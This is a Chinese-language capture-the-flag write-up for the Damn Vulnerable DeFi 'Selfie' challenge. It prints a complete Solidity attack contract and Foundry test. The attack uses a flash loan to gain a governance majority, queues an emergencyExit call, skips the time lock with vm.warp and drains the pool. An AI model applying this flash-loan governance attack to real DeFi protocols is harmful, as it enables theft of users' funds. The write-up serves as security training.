A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million at risk.
Rescue all funds from the pool and deposit them into the designated recovery account.
又是閃電貸的題目,這次不演了,我們沒有任何啟動資金,真的要空手套白狼把150萬個代幣拿走
可以看到這題有3個合約
簡單看過合約以後,可以知道3個合約的用處,但是實際上對我們有用的合約就只有兩個
SelfiePool
是負責閃電貸功能的進行,使用了一個 emergencyExit
function,而它使用了 onlyGovernance
修飾器,這意味著它只能通過治理合約調用SimpleGovernance
可以建立一個治理合約的動作,但是需要經過過半的投票,以及要經過兩天才會生效那看了上面的分析可能會覺得有點一頭霧水,要怎麼等快一點XD,那基本上我們可以使用 vm.warp
,接著執行 executeAction
來將代幣轉移到恢復帳號,詳細步驟如下:
SelfiePool
可以透過閃電貸借代幣給我們使用,所以我們可以跟底池借用大量 DVT,並且使用這些借用的代幣來進行代理投票,從而輕鬆達到過半投票的條件SimpleGovernance
合約的 queueAction
,創建一個新的合約,新的合約主要的功能就是可以調用 SelfiePool
中的 emergencyExit
,把代幣轉移到我們手上 (非恢復地址)vm.warp
),然後執行 executeAction
然後因為我們會用到一些其它的規範,所以我們要把它們都 import
進來
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
再來就是產攻擊合約跟執行
function test_selfie() public checkSolvedByPlayer {
Say_Cheese exploiter = new Say_Cheese(
address(pool),
address(governance),
address(token)
);
exploiter.exploitSetup(address(recovery));
vm.warp(block.timestamp + 2 days);
exploiter.exploitCloseup();
}
contract Say_Cheese {
SelfiePool private immutable selfiePool;
SimpleGovernance private immutable simpleGovernance;
DamnValuableVotes private immutable damnValuableToken;
uint256 public actionId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(
address _selfiePool,
address _simpleGovernance,
address _token
) {
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
damnValuableToken = DamnValuableVotes(_token);
}
function onFlashLoan(
address, // initiator (not used)
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
// Delegate votes to this contract
damnValuableToken.delegate(address(this));
// Queue an action through governance
actionId = simpleGovernance.queueAction(
address(selfiePool),
0,
data
);
// Approve the flash loan repayment
IERC20(token).approve(address(selfiePool), amount + fee);
return CALLBACK_SUCCESS;
}
function exploitSetup(address recovery) external {
// Encode the emergencyExit function call
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
// Request a flash loan and trigger the onFlashLoan callback
selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), 1_500_000e18, data);
}
function exploitCloseup() external {
// Execute the queued action
simpleGovernance.executeAction(actionId);
}
}
function test_selfie() public checkSolvedByPlayer {
Say_Cheese exploiter = new Say_Cheese(
address(pool),
address(governance),
address(token)
);
exploiter.exploitSetup(address(recovery));
vm.warp(block.timestamp + 2 days);
exploiter.exploitCloseup();
}
每日梗圖(1/1)